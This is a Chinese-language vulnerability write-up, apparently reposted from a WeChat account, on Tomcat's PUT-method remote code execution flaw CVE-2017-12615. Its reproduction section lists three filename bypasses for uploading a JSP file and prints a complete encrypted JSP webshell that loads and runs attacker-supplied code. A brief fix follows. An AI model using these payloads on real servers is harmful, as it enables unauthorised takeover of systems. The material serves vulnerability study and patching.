tomcat 远程代码执行漏洞(CVE-2017-12615)

admin 2023年1月7日13:58:55安全文章评论1 views1088字阅读3分37秒阅读模式

1.漏洞描述

  当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数 由默认值设置为 false),

攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代 码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。

导致服务器上的数据泄露或获取服务器权限。

2.漏洞原理

  当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产 生,(需要允许put请求)

tomcat 远程代码执行漏洞(CVE-2017-12615)

3.影响范围

  CVE-2017-12615影响范围: 

        Apache Tomcat 7.0.0 - 7.0.79 

        Apache Tomcat/8.5.19

4.漏洞复现

开启环境tomcat 远程代码执行漏洞(CVE-2017-12615)

支持三种上传绕过方式 默认使用put 加文件名是失败的 需要绕过

    PUT /shell.jsp%20

    PUT /shell.jsp::$DATA

    PUT /shell.jsp/

burp抓包,进行拦截,上传jsp马tomcat 远程代码执行漏洞(CVE-2017-12615)

tomcat 远程代码执行漏洞(CVE-2017-12615)

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

成功将马上传到服务器上

tomcat 远程代码执行漏洞(CVE-2017-12615)

 5.漏洞修复建议

  设置 readonly未true



 

原文始发于微信公众号(红豆芷浠):tomcat 远程代码执行漏洞(CVE-2017-12615)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月7日13:58:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  tomcat 远程代码执行漏洞(CVE-2017-12615) http://cn-sec.com/archives/1500034.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: